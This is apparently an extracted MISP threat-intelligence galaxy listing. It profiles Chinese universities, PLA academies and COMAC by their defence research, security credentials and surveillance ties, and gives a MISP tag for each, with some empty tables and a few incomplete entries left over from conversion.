Commercial Aircraft Corporation of China (中国商用飞机有限责任公司)

COMAC was established in 2008 as a state-owned manufacturer of large commercial aircraft. The company oversees eleven subsidiaries that focus on various aspects of aircraft production. A list of COMAC’s subordinate companies can be found in English on the company’s website. Despite its focus on commercial aircraft, China’s Ministry of Industry and Information Technology has referred to it as a defence industry conglomerate. The company maintains strong links to China’s defence industry and some of its leadership is drawn from former executives at state-owned military aircraft and missile manufacturers. China’s leading producer of military aircraft, the Aviation Industry Corporation of China (AVIC), also holds a 10 per cent share in COMAC. COMAC supports the continued development of China’s defence industry by awarding ‘national defence technology scholarships’ to Chinese university students. COMAC’s signature passenger aircraft, the C919, offers an example of how the company could use its civilian aircraft production for military purposes. Numerous Chinese analysts have studied Boeing’s conversion of the 737 into the P-8 Poseidon and E-7A surveillance aircraft and argue that the C919 could also be retrofitted for early warning as well as anti-surface and anti-submarine warfare missions. With a greater flight range than China’s other military aircraft, a retrofitted C919 for maritime surveillance operations could reduce China’s dependence on artificial air bases in the South China Sea which currently render aircraft vulnerable to corrosion due to harsh weather conditions. Vice-Chairman of the Central Military Commission, Zhang Youxia, reportedly expressed an interest in learning from American companies in converting civilian aircraft into military aircraft while inspecting COMAC’s C919.

The tag is: misp-galaxy:china-defence-universities="Commercial Aircraft Corporation of China (中国商用飞机有限责任公司)"
Criminal Investigation Police University of China (中国刑事警察学院)

CIPUS was founded in May 1948 and underwent several name changes, but was upgraded in 1981 to become the first police university offering a specialised undergraduate degree program. It runs a national engineering laboratory, two MPS key laboratories, and provincial key laboratories. It is focused on training in criminal investigation, criminology science and technology and criminal law. The university also has relationships with companies that provide the technological tools that contribute to the PRC’s public security apparatus. For instance, it has a relationship with the company Haiyun Data on public security intelligence. Haiyun provides data visualization services for MPS bureaus across China.

The tag is: 
```
misp-galaxy:china-defence-universities="Criminal Investigation Police University of China (中国刑事警察学院)"
```  

Dalian Minzu University (大连民族大学)

DLMU was established in 1984 as an institution that researches China’s ethnic minorities. The university is overseen by the State Ethnic Affairs Commission (SEAC), the Liaoning Provincial Government and the Dalian Municipal Government. Scientific disciplines taught by DLMU include communications and information engineering, machine engineering, civil engineering and environmental science. DLMU also researches political thought and minority groups of northeast China. DLMU currently hosts the Dalian Key Lab of Digital Technology for National Culture (大连市民族文化数字技术重点实验室). Researchers at laboratory carry out research on facial recognition of ethnic minorities. The laboratory has collaborated with an academic from Curtin University on research related to the facial recognition of Tibetans, Koreans and Uyghurs—over one million of whom have disappeared into re-education camps. DLMU researchers are working on a database of facial and optical movements across different ethnic groups. DLMU also hosts the State Ethnic Affairs Commission Key Laboratory of Intelligent Perception and Advanced Control (国家民委智能感知与先进控制重点实验室), housed within the university’s College of Electromechanical Engineering (机电工学院). The laboratory has done work on convolutional neural networks for visual image recognition, which could have applications for surveillance technology. DLMU’s party committee has an active United Front Work Department. The department supervises non-CCP members and students returning from overseas study. Management of religious and ethnic minorities are likely to be other priorities for the department.

The tag is: 
```
misp-galaxy:china-defence-universities="Dalian Minzu University (大连民族大学)"
```
Dalian Naval Academy (大连海军学院)

The Dalian Naval Academy is one of the main training colleges for junior officers and cadets in the PLA Navy. The academy focuses on maritime navigation technology, communications engineering, electronic information engineering, weapons systems engineering, surveying and control science. Scientists from the Dalian Naval Academy produce publications on a variety of defence topics, including:

The tag is: `misp-galaxy:china-defence-universities="Dalian Naval Academy (大连海军学院)"`

Dalian University of Technology (大连理工大学)

DLUT is directly under the administration of the Ministry of Education. In 2018, it came under the supervision of defence industry agency SASTIND as part of the government's efforts to deepen military-civil fusion in the university sector. In 2006, the university received secret-level security credentials, allowing it to participate in classified defence technology projects. Since then, it has expanded cooperation with the PLA Navy and joined several military-civil fusion innovation alliances. In 2015, the university established a defence laboratory in the School of Mechanical Engineering. The laboratory was proposed by a professor within the University's Institute of Science and Technology. The Institute of Science and Technology is primarily responsible for high-tech project management, where they manage projects for the 973 Program, the National Natural Science Foundation, and the Ministry of Education.

The tag is: `misp-galaxy:china-defence-universities="Dalian University of Technology (大连理工大学)"`

Donghua University (东华大学)

DHU is subordinate to the Ministry of Education. It is actively involved in defence research on materials. It hosts the Key Laboratory of High Performance Fibers & Products, a defence-focused laboratory involved in materials science and textiles engineering research for China's defence industry and weapons systems. The laboratory is specifically involved in developing materials for weapons casings, vehicular armour, aviation and cabling. The university holds secret-level security credentials, allowing it to participate in classified defence research projects. DHU claims that much
of its research has been applied to fields such as defence technology and aviation, and contributed towards China’s space program and Beidou satellite navigation system. In 2018, the university signed a strategic cooperation agreement with the state-owned Jihua Group (际华集团) for collaboration on textiles to meet the military’s needs.

The tag is: misp-galaxy:china-defence-universities="Donghua University (东华大学)"

East China University of Technology (东华理工大学)

ECUT was founded in 1956 as the first institution of higher education for China’s nuclear industry. Since 2001, it has been subject to four ‘joint construction’ agreements between the Jiangxi Provincial Government and defence industry agency SASTIND or its predecessor COSTIND. These agreements are designed to develop the university’s involvement in defense-related research and training. The Ministry of Natural Resources and defence conglomerate China National Nuclear Corporation are also involved in supervising and supporting ECUT. ECUT carries out defence research related to nuclear science and hosts a defence laboratory on radioactive geology. It holds secret-level security credentials, allowing it to participate in classified defence technology projects. In 2006, the East China University of Technology National Defence Technology Institute (东华理工大学国防科技学院) was established.

The tag is: misp-galaxy:china-defence-universities="East China University of Technology (东华理工大学)"

Engineering University of the CAPF (中国人民武装警察部队工程大学)

The Engineering University of the CAPF is an institution devoted to training personnel in China’s paramilitary service, the People’s Armed Police, in command and engineering disciplines. The university focuses on paramilitary information engineering, paramilitary equipment technology, non-lethal weapons, military communications and mathematical cryptography. Students of the university can select majors from disciplines such as communications engineering, information security, military big data engineering, management science and engineering, and mechanical engineering. The Engineering University of the CAPF hosts the Key Military Laboratory for Non-Lethal Weapons (非致命武器等全军重点实验室), the Big Data and Cloud Computing Laboratory (大数据与云计算实验室), and the Command Automation Training Centre (指揮自动化培训中心), indicating expertise in these areas. The Engineering University of the CAPF has collaborated significantly with a Beijing-based company called SimpleEdu (北京赛阳教育科技有限公司), focusing primarily on social media and internet research. Below is a list of initiatives with which the Engineering University of the CAPF has collaborated:
Fudan University (复旦大学)

Fudan University is among China’s best universities. It was ranked 104th in the world by Times Higher Education in 2019. The university appears to engage high levels of work for the military on materials science, including stealth technology. All defence-related projects and matters in Fudan are managed by the university’s Institute of Special Materials and Technology (专用材料与装备技术研究院) and Defence Industry Secrets Committee (复旦大学军工保密委员会). The Institute of Special Materials and Technology specialises in defence research and works on simulations, precision manufacturing, and materials. Professor Ye Mingxin, the institute’s director, is also an advisor to the PLA and defence companies on materials science. Fudan University’s Materials Science Department includes one professor who is described as specifically being a ‘defence system professor’, which may refer to Professor Ye. In 2011, Fudan established a State Secrets Academy (国家保密学院), in partnership with China’s National Administration of State Secrets Protection (国家保密局). The institute carries out research and training on the protection of state secrets.

Fuzhou University (福州大学)

Fuzhou University is overseen by the Fujian Provincial Government and a focus on engineering disciplines. It does not appear to engage in significant levels of defence research. However, the Fuzhou University Military-Civil Fusion Innovation Research Institute (福州大学军民融合创新研究院) was jointly established in 2016 by Fuzhou University along with a number of defence companies and military research institutions under the guidance of Fujian Provincial Government’s National Defence Industry Office (省国防科工办). Furthermore, the Fujian Provincial People’s Government and SASTIND entered an agreement to jointly develop the university as part of China’s military-civil fusion initiative in 2018. This indicates that the university will expand its involvement in defence research. The university has held second-class weapons R&D secrecy credentials since 2006.
Guilin University of Electronic Science and Technology (桂林电子科技大学)

GUET specialises in electronics, communications and computer science. It engages in growing levels of defence research, indicated by the decision to place it under the joint administration of the defence industry agency SASTIND and the Guangxi Provincial Government in 2018. The PLA describes GUET as ‘Guangxi Province’s only university to have long carried out defence research.’ Areas of defence research at the university include communications technology, materials science, signals processing, microwaves, satellite navigation, and command and control. Since 2007, the university has held secret-level security credentials, enabling it to participate in classified weapons and defence technology projects.

The tag is: `misp-galaxy:china-defence-universities="Guilin University of Electronic Science and Technology (桂林电子科技大学)"`

Table 883. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Hangzhou Dianzi University (杭州电子科技大学)

HDU specialises in information technology and has been jointly supervised by the Zhejiang Provincial Government and defence industry agency SASTIND since 2007. The university is Zhejiang Province’s only provincial-level higher education institution to have officially designated national defence disciplines. HDU’s leadership is closely integrated with its defence research. Since its creation in 2008, the university’s main defence laboratory has been run by Xue Anke, who was the university’s president until 2017. While president, Xue served on an expert advisory committee to the PLA on information technology. He is also a member of the Zhejiang Provincial Expert Committee on Artificial Intelligence Development. Key areas of defence research at HDU include electronics, artificial intelligence, military-use software, and communications and information systems. HDU has been expanding its research on artificial intelligence, establishing a school of artificial intelligence and an artificial intelligence research institute in 2018. HDU holds secret-level security credentials, allowing it to undertake classified weapons and defence technology projects. In 2011, the Zhejiang State Secrets Bureau established a State Secrets Academy in HDU. The academy, one of twelve in the country, trains personnel in managing and protecting confidential information.

The tag is: `misp-galaxy:china-defence-universities="Hangzhou Dianzi University (杭州电子科技大学)"`

Table 884. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Hangzhou Normal University (杭州师范大学)

Hangzhou Normal University is a Chinese university subordinate to the Zhejiang Provincial Government. The university was initially established in 1978 as Hangzhou Normal College (杭州师范) to focus on teacher training, art education as well as research in the humanities and natural sciences. Hangzhou Normal University retains this broad academic focus and oversees faculties such as the Alibaba Business School (阿里巴巴商学院). Hangzhou Normal University collaborates with China’s MPS on the development of surveillance technology. In March 2019, the university entered into an agreement with the Zhejiang Police College, the Zhejiang Public Security Office, and Hikvision—China’s leading producer of video surveillance technology—to establish a joint laboratory. The joint laboratory reportedly focuses on applying big data analysis, cloud computing and internet of things technology to improve China’s policing capability.

The tag is: *misp-galaxy:China-Defence-Universities*="Hangzhou Normal University (杭州师范大学)"

---

Harbin Engineering University (哈尔滨工程大学)

HEU is one of China’s top defence research universities. The university is a leading centre of research and training on shipbuilding, naval armaments, maritime technology and nuclear power. 36.46% of the university’s 2017 graduates who found employment were working in the defence sector. As one of the group of universities subordinate to the Ministry of Industry and Information Technology (MIIT) known as the ‘Seven Sons of National Defence’ (国防七子), HEU is an integral part of China’s defence industry. HEU’s achievements include producing China’s first experimental submarine, ship-based computer, and hovercraft. The university claims to have participated in most of the PLA Navy’s submarine, undersea weapon, and warship projects. HIT’s role in the defence industry is highlighted by its formal affiliation with the PLA Navy, which became a supervising agency of the university in 2007. Under the supervisory agreement, the PLA Navy committed to developing HEU’s capacity as a platform for research and development in military technology and for training defence personnel. The following year, HEU established a Defence Education Institute to train reserve officers. Since then, the institute has trained at least 1,700 officers. HEU also maintains a joint laboratory with the PLA Navy Coatings Analysis and Detection Center. HEU is an important hub research on nuclear engineering, including on nuclear submarines. In 2018, it signed a co-construction agreement with defence conglomerate China National Nuclear Corporation (CNNC). In 2019, HEU and CNNC established the China Nuclear Industry Safety and Simulation Technology Research Institute. HEU also runs a joint laboratory on energetic materials (such as explosives) with the Chinese Academy of Engineering Physics, China’s nuclear warhead research organisation.

The tag is: *misp-galaxy:China-Defence-Universities*="Harbin Engineering University (哈尔滨工程大学)"

---

Table 885. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Table 886. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>[ ]</td>
</tr>
</tbody>
</table>
Harbin Institute of Technology (哈尔滨工业大学)

HIT is one of China’s top defence research universities. As one of seven universities run by MIIT, it is known as one of the ‘Seven Sons of National Defence’ (国防七子). The Seven Sons of National Defence all have close relationships with the Chinese military and are core training and research facilities for China’s defence industry. In 2018, HIT spent RMB1.97 billion (AUD400 million)—more than half of its research budget—on defence research. 29.96% of the university’s graduates that year who found employment were working in the defence sector. HIT has been described by Chinese state media as having ‘defence technology innovation and weapons and armaments modernisation as its core’. It excels in satellite technology, robotics, advanced materials and manufacturing technology, and information technology. Other areas of defence research at HIT include nuclear technology, nuclear combustion, nuclear power engineering and electronic propulsion and thruster technology, many of which are officially designated as skill shortage areas for the Chinese defence industry. HIT is best known for its aerospace research and has a close relationship with China Aerospace Science and Technology Corporation (CASC), a state-owned defence company that specialises in long-range ballistic missile and satellite technology. Since 2008, HIT and CASC have operated a joint research centre. Defence conglomerates CASC, CASIC, AVIC and CETC rank among the top employers of HIT graduates. The university is a major source of cyber talent and receives funding for information security research from the MSS, China’s civilian intelligence agency. A report prepared for the US–China Security and Economic Review Commission identified it as one of four universities focused on research with applications in information warfare. In 2003, HIT founded its Information Countermeasures Technology Research Institute (哈尔滨工程大学信息对技术研究所).

The tag is: `misp-galaxy:china-defence-universities="Harbin Institute of Technology (哈尔滨工业大学)"

Table 887. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Harbin University of Science and Technology (哈尔滨理工大学)

HRBUST focuses on engineering, science, economics, management, philosophy, literature, law and education. In 2015, it was placed under the joint supervision of the Heilongjiang Provincial Government and SASTIND, which is an arrangement designed to develop the university’s involvement in defence-related research and training. HRBUST’s relationship with SASTIND indicates that it will continue expanding its role in defence research. Currently, the university has at least four designated national defense disciplines and plans to build a national defense key laboratory. It holds secret-level security credentials.

The tag is: `misp-galaxy:china-defence-universities="Harbin University of Science and Technology (哈尔滨理工大学)"

Table 888. Table References
Hebei University (河北大学)

Hebei University is Hebei Province’s only comprehensive university. The university subordinate to the Ministry of Education and also supervised by the Hebei Provincial Government and defence industry agency SASTIND. Its supervision by SASTIND, which began in 2013, is designed to support the university in ‘strengthening its national defence characteristics’. HBU appears to be relatively secretive about its defence research. In 2017, SASTIND designated an area of research at the university’s College of Physics Science and Technology as a ‘discipline with defence characteristics’. An article about this on the university’s news site has been taken down and deliberately did not specify the discipline. However, a speech given by the head of the college named military-use power and energy as HBU’s only defence discipline. The university holds secret-level security credentials, allowing it to participate in classified defence technology projects.

In 2017, HBU held a forum on military-civil fusion for technology and innovation to ‘uncover the university’s potential for defence-industry technological research’ and encourage greater integration with defence companies.

The tag is: *misp-galaxy:china-defence-universities=“Hebei University (河北大学)”*

Table 889. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Hebei University of Science and Technology (河北科技大学)

HEBUST engages in moderate but growing levels of defence research. It has been supervised by defence industry agency SASTIND since 2013, when SASTIND and the Hebei Provincial Government agreed to jointly develop the university's involvement in defence research. By 2017, the university claimed to have completed 300 defence projects. The university holds secret-level security credentials, allowing it to participate in classified defence technology projects. While the university does not appear to have any dedicated defence laboratories, it has described five of its laboratories as platforms for defence research. Areas of materials science, mechanical engineering and control science at HEBUST have been designated ‘disciplines with national defence characteristics’ by SASTIND. HEBUST may also be pursuing greater integration between China’s defence needs and the university's research on textiles engineering and biological fermentation.

HEBUST states that it has developed close cooperation with China Electronics Technology Group Corporation’s 54th Research Institute, an organization blacklisted by the US Government Entity List. Defence industry conglomerate Aviation Industry Corporation of China also funds research at the university.

The tag is: *misp-galaxy:china-defence-universities=“Hebei University of Science and Technology (河北科技大学)”*

Table 890. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

302
Hefei University of Technology (合肥工业大学)

HFUT a leading Chinese university subordinate to the Ministry of Education. It specialises in engineering and engages in growing levels of defence research, particularly in the fields of advanced materials, smart manufacturing and electronic information. As of 2018, HFUT was the only civilian university in Anhui Province fully certified to carry out military projects, holding secret-level security credentials, and had undertaken over 200 such projects. In 2018, the university came under a ‘joint-construction’ agreement between the Ministry of Education and defence industry agency SASTIND. According to HFUT, this agreement ‘will powerfully advance the university's development of national defence disciplines, training of talent for defence industry, and construction of defence industry and national defence research platforms.’ Miao Wei, head of the Ministry of Industry and Information Technology, which oversees China’s defence industry, is a graduate of HFUT.

The tag is: misp-galaxy:china-defence-universities="Hefei University of Technology (合肥工业大学)"

Heilongjiang Institute of Technology (黑龙江工程学院)

HLJIT is an engineering-focused university that engages in growing levels of defence research. In 2015, the Heilongjiang Provincial Government partnered with defence industry agency SASTIND to expand the university's ability to ‘show its national defence characteristics and serve the national defence science and technology industry.' SASTIND has designated military-use power and energy, optoelectronics and laser technology, and computing as three ‘disciplines with national defence characteristics’ at HLJIT. In June 2016, HLJIT and ZTE jointly launched an MOE-ZTE ICT Product-Teaching Integration Innovation Base (教育部-中兴通讯ICT产教融合创新基地) and established the Heilongjiang School of Engineering-ZTE Information and Communications Technology College (黑龙江工程学院-中兴信息与通信技术学院). ZTE has been reportedly barred from US government contracts. As it increases its implementation of military-civil fusion, HLJIT has developed relationships with defence conglomerates. The university is particularly close to China Aerospace Science and Technology Corporation (CASC), a leading state-owned manufacturer of long-range missiles and satellites. In 2017, HLJIT partnered with a subsidiary of CASC to establish a joint research centre, the Aerospace Smart City Research Institute. The subsidiary, Aerospace Shenzhou Smart System Technology Co., Ltd. (航天神舟智能系统技术有限公司), specialises in smart city and informatization technology. HLJIT holds confidential-level security credentials, allowing it to participate in confidential defence technology projects.

The tag is: misp-galaxy:china-defence-universities="Heilongjiang Institute of Technology (黑龙江工程学院)"

Table 891. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

Table 892. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>
Heilongjiang University (黑龙江大学)

HLJU is supervised by the Ministry of Education, the Heilongjiang Provincial Government and SASTIND. SASTIND’s supervision of the university is designed to promote its integration with China’s defence technology goals. In 2016, the year after HLJU came under SASTIND’s supervision, the university received third-class security credentials and funding for a national defence technology research project for the first time. Third-class security credentials allow the university to participate in confidential defence research projects. By 2018, HLJU claimed to have received RMB13 million (AUD2.7 million) in defence research funding. HLJU has close ties with Russian universities and is best known for its work in the Chemistry, Chemical Engineering and Materials Department, which entered the top 1 percent of ESI’s global rankings.

The tag is: *misp-galaxy:china-defence-universities*="Heilongjiang University (黑龙江大学)"

Table 893. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Henan University of Science and Technology (河南科技大学)

HAUST is Henan province’s leading civilian university for defence research. In 2008, it became the first university in the province to receive security credentials allowing it to participate in classified weapons projects. In 2016, it became the province’s only university subject to a ‘joint-construction’ agreement with defence industry agency SASTIND, an arrangement designed to increase HAUST’s involvement in defence research. As early as 2009, the university stated that it had made great contributions to the defence and aviation industries, undertaking large amounts of defence research projects. HAUST describes itself as China’s primary university for research and training for the mechanical bearings (such as ball bearings) industry. SASTIND has designated three areas of research at the university as ‘disciplines with defence characteristics’, covering systems engineering, materials science and mechanics. The university is actively involved in military-civil fusion activities. The university claims to have made important contributions to the development of bearings for aircraft engines, satellites, and spacecraft. It states that it has resolved critical technological problems for specific weapons guidance systems, ballistic missile testing systems and an infrared targeting and interference emulation system that are probably used to test guided missiles.

The tag is: *misp-galaxy:china-defence-universities*="Henan University of Science and Technology (河南科技大学)"

Table 894. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

304
Huazhong University of Science and Technology (华中科技大学)

HUST is one of China’s leading research institutions. While the university is subordinate to the Ministry of Education, it has also been supervised by the State Administration of Science, Technology and Industry for National Defense since 2012. The university hosts at least six laboratories dedicated to defence research. Its National Defence Research Institute reportedly oversees defence research in seven other HUST research centres. Artificial intelligence, shipbuilding, image processing, navigation technology, mechanical engineering, electronics, materials science and laser physics are focuses of HUST’s defence research. HUST has worked closely with the PLA and China’s defence industry. This collaboration includes the development of artificial intelligence and imaging technology for weapons. The university’s work on pulsed power is linked to China’s nuclear and directed-energy weapons program. China’s state-owned defence conglomerates and China’s nuclear warhead facility sponsor dozens of HUST postgraduate students each year, who are required to work at their sponsoring organisation for at least five years after graduating. HUST holds secret-level security credentials, allowing it to participate in research and production for classified weapons and defence projects.

The tag is: misp-galaxy:china-defence-universities="Huazhong University of Science and Technology (华中科技大学)"

Hunan University (湖南大学)

HNU is a leading Chinese university subordinate to the Ministry of Education. In recent years, its participation in defence research appears to have grown substantially. In 2010, it established the National Supercomputer Center in Changsha jointly with the PLA National University of Defense Technology, which has since been placed on the US Government Entity List for its suspected role in nuclear weapons research. In 2011, China’s defence industry agency, SASTIND, entered a partnership with the MOE to expand the university’s participation in defence research and defence industry ties. This arrangement was renewed in 2016. In 2013, SASTIND and the Hunan Provincial Government also signed an agreement to jointly support the development of the university’s National Supercomputer Center. HNU holds secret-level security credentials, enabling it to participate in research and production for weapons and other defence projects.

The tag is: misp-galaxy:china-defence-universities="Hunan University (湖南大学)"
**Hunan University of Science and Technology (湖南科技大学)**

HNUST is an engineering-focused university founded in 2003. In 2016, it was subject to a 'joint-construction' agreement between the Hunan Provincial Government and defence industry agency SASTIND, an arrangement designed to develop the university's involvement in defense-related research and training. The university has three designated defence research areas, is involved in weapons research, and has confidential-level security credentials. HNUST is home to two national defence key laboratories, one of which is in the School of Materials Science and Engineering. The university has also established its Intelligent Manufacturing Institute, which evolved from a provincial key laboratory and has connections to the Made in China 2025 strategy. HNUST is also linked to state-owned arms manufacturer Norinco Group. In 2018, it signed a strategic cooperation agreement with arms manufacturer Norinco’s National Defence Key Laboratory on Light Weapons Terminal Lethality Technology (轻武器终点杀伤技术国防重点实验室).

The tag is: `misp-galaxy:china-defence-universities="Hunan University of Science and Technology (湖南科技大学)"`

---

**Information Engineering University (中国人民解放军信息工程大学)**

IEU was formed in June 2017, combining the old Information Engineering University with the PLA Foreign Languages University. PLA experts have described IEU as ‘the sole military academy for the cyber and electronic warfare arms of China’s network-electronic forces’. The IEU is currently subordinate to the PLA Strategic Support Force’s Network Systems Department, which holds the military’s signals intelligence capabilities. Previously, the university was run by the General Staff Department Third Department (commonly known as 3PLA), the PLA’s signals intelligence service that has been incorporated into the Strategic Support Force. IEU’s command tracks include Network Engineering (网络工程), which is dedicated to the cultivation of cyber attack and defense technical cadre (网络攻防技术干部). It is responsible for the construction of the Henan Provincial Laboratory of Visible Light Communication (河南省实验室). The university is primarily known for research and training on hacking, cryptography, signals processing, surveying and mapping, and navigation technology. However, since absorbing the PLA Foreign Languages University, it now serves as one of the most important language schools for Chinese military intelligence officers, describing itself as a ‘whole-military foreign languages training base for individuals going abroad’. While the PLA Foreign Languages University is best known for training signals intelligence officers, it has also trained many officers in the PLA’s political warfare wing, the Central Military Commission Political Work Department Liaison Bureau.

The tag is: `misp-galaxy:china-defence-universities="Information Engineering University (中国人民解放军信息工程大学)"`
Institute of NBC Defense (陆军防化学院)

The Institute of NBC Defense is the PLA's premier institution devoted to training junior, mid-career and senior officers on technology related to defence against nuclear, biological and chemical weapons. Most scientific research tends to focus on radiation protection and nuclear safety.

The tag is: `misp-galaxy:china-defence-universities="Institute of NBC Defense (陆军防化学院)"`

<table>
<thead>
<tr>
<th>Table 899. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
</tbody>
</table>

Jiangnan Social University (江南社会学院)

JSU trains intelligence officers in tradecraft and carries out research on intelligence and security. The university first opened in 1986 with over 600 students and staff. Since 1999, it has run the Journal of Jiangnan Social University, which publishes research on international security, strategy and politics. Satellite and streetview imagery from Google Maps and Baidu appears to show a shooting range at the southern end of its campus.

The tag is: `misp-galaxy:china-defence-universities="Jiangnan Social University (江南社会学院)"`

<table>
<thead>
<tr>
<th>Table 900. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
</tbody>
</table>

Jiangsu University of Science and Technology (江苏科技大学)

JUST engages in high levels of defence research. With a focus on research relevant to the PLA Navy, JUST is supervised by the China State Shipbuilding Corporation and the China Shipbuilding Industry Corporation, China's leading defence shipbuilding conglomerates. In 2002, JUST was one of eight universities jointly supervised by defence industry agency COSTIND and a provincial government. In 2016, it was the subject of an agreement between the Jiangsu Provincial Government and defence industry agency SASTIND to expand its role in defence research. JUST scientists have been involved in nuclear submarine, unmanned submersible and aircraft carrier projects. The university holds secret-level security credentials, allowing it to participate in classified defence technology projects. Faculties at the university involved in defence research include the School of Naval Architecture and Ocean Engineering and the School of Energy and Propulsion.

The tag is: `misp-galaxy:china-defence-universities="Jiangsu University of Science and Technology (江苏科技大学)"`

| Table 901. Table References |
Jilin University (吉林大学)

JLU is directly under the administration of the Ministry of Education and came under the joint supervision of the ministry and defence industry agency SASTIND in 2016. In 2017, SASTIND designated eight fields of research at JLU as national defence disciplines, indicating the university carries out high levels of defence research. In 2012, JLU spent roughly RMB60 million (AUD12.5 million) on defence research, a number that is likely to have grown substantially. JLU's National Defense Science and Technology Research Institute, also known as the Advanced Technology Research Institute, was established in April 2006 and is responsible for the organization and management of the university's national defence science and technology projects. The research institute has received several certifications to conduct research for military applications. It conducts research in collaboration with the former PLA General Armaments Department, SASTIND, and state-owned defence conglomerates in the fields of aviation, aerospace, electronics, nuclear technology, and shipbuilding. JLU's State Key Laboratory of Superhard Materials (超硬材料国家重点实验室) works closely with China's nuclear weapons complex, the Chinese Academy of Engineering Physics (CAEP). Job advertisements for a CAEP subsidiary, the Center for High Pressure Science & Technology Advanced Research (北京高压科学研究中心) state that it has a branch within Jilin University. This suggests that CAEP may even be involved in managing the State Key Laboratory of Superhard Materials. The university hosts at least two defence research labs, located in the university's College of Computer Science and Technology and in the College of Chemistry. Its Key Laboratory of Attack and Defense Simulation Technology for Naval Warfare, Ministry of Education (海战场攻防对抗仿真技术教育部重点实验室(Ｂ类)) is involved in cybersecurity research for the Navy. The lab's academic committee is headed by a computer scientist from China Aerospace Science and Technology Corporation, a leading state-owned missile manufacturer. JLU holds secret-level security credentials, allowing it to participate in research and production for classified weapons and defence technology projects.

The tag is: mish-galaxy:china-defence-universities="Jilin University (吉林大学)"

Table 902. Table References

Links


Kunming University of Science and Technology (昆明理工大学)

Kunming University of Science and Technology appears to engage in low levels of defence research, but its involvement in defence research is likely to grow. In 2017, Kunming University of Science and Technology signed an agreement with Yunnan's defence technology bureau to deepen military-civil fusion. In 2018, the Yunnan Provincial Government and defence industry agency SASTIND signed an agreement to jointly construct KMUST. The agreement is designed to increase the university's involvement in defence research. KMUST carries out high levels of research on
metallurgy. It is involved in defence research related to China’s aviation industry, and collaborates with defence shipbuilding conglomerate CSIC on vibration and noise research.

The tag is: `misp-galaxy:china-defence-universities="Kunming University of Science and Technology (昆明理工大学)"

Table 903. Table References

Links


Lanzhou University (兰州大学)

LZU’s involvement in defence research has slowly grown over the past decade. In 2018, it spent over RMB50 million (AUD10 million) on defence projects. LZU is subordinate to the Ministry of Education. Since 2018, it has also been supervised by defence industry agency SASTIND in an arrangement designed to further expand the university’s defence research and the defence industry relationships. LZU carries out national defence-related research in areas such as nuclear science, electromagnetism, probes, chemistry, mechanics, materials science, stealth technology and information technology. In 2017 and 2018, LZU signed strategic agreements with state-owned defence companies Norinco Group, China’s largest arms manufacturer, and China National Nuclear Corporation. Several defence companies, as well as China’s nuclear weapons program, provide scholarships for dozens of LZU postgraduate students each year. In return, these students must work for their sponsoring organisation for five years after graduation. In 2005, LZU received secret-level security credentials that allow it to participate in classified weapons projects.

The tag is: `misp-galaxy:china-defence-universities="Lanzhou University (兰州大学)"

Table 904. Table References

Links


Lanzhou University of Technology (兰州理工大学)

Lanzhou University of Technology (兰州理工大学)

The tag is: `misp-galaxy:china-defence-universities="Lanzhou University of Technology (兰州理工大学)"

Table 905. Table References

Links

Logistics University of the People’s Armed Police Force (中国人民武装警察部队后勤学院)

The Logistics University of the People’s Armed Police Force is an institution devoted to training personnel in logistics for China’s paramilitary service, the People’s Armed Police. The university teaches subjects in applied economics, military logistics studies, paramilitary logistics, applied psychology, as well as communications and transportation engineering. The Logistics University of the People’s Armed Police Force actively collaborates with private institutions and civilian universities on scientific research. For example, the university collaborated with Nankai University (南开大学) and the Tianjin Eminent Electric Cell Material Company (天津爱敏特电池材料有限公司) on high performance lithium and sodium ion materials in 2018. The university also collaborated with the Tianjin Polytechnic University (天津工业大学) on intelligence, wearable technology that monitors heart rates for both military and civilian personnel.

The tag is: `misp-galaxy:china-defence-universities="Logistics University of the People’s Armed Police Force (中国人民武装警察部队后勤学院)"`

Table 906. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Nanchang Hangkong University (南昌航空大学)

NCHU engages in high levels of defence research relevant to the aviation industry. In 2017, the Ministry of Education designated it a ‘school with national defence education characteristics’, and 30% of graduates go to work in the defence industry or civilian aviation companies. The university has been supervised by defence industry agency SASTIND since 2010. It holds secret-level security credentials. Five fields of research at NCHU are designated ‘national defence key disciplines’: precision forming and joining technology, component quality testing and control, testing and measurement technology and instruments, optoelectric and laser technology, and military-use critical materials. The university hosts at least three laboratories focused on defence research. NCHU is particularly close to AVIC, the Chinese military’s aircraft manufacturing company. In particular, AVIC subsidiary Hongdu Aviation Industry Group (洪都航空工业集团) is based in Nanchang and has frequent exchanges with NCHU.

The tag is: `misp-galaxy:china-defence-universities="Nanchang Hangkong University (南昌航空大学)"`

Table 907. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Nanchang University (南昌大学)

NCU engages in low levels of defence research. It holds secret-level security credentials, allowing it to carry out classified defence research. In 2006, it established a defence research institute together
with five provincial defence industry companies. Based on affiliated staff members, the institute may be focused on mechanical engineering. The university was added to the US Government Unverified List in 2018. Entities are added the Unverified List if the US Government is unable to satisfactorily carry out end-user checks on them to ensure compliance with export licenses.

The tag is:  *misp-galaxy:china-defence-universities=*"*Nanchang University (南昌大学)*"

**Table 908. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Nanjing Army Command College (南京陆军指挥学院)**

The Nanjing Army Command College is an institute devoted to training mid-career staff officers in preparation for command the PLA Ground Force. Disciplines of focus for the college include joint campaign tactics, warfighting command, military training and combat simulations.

The tag is:  *misp-galaxy:china-defence-universities=*"*Nanjing Army Command College (南京陆军指挥学院)*"

**Table 909. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
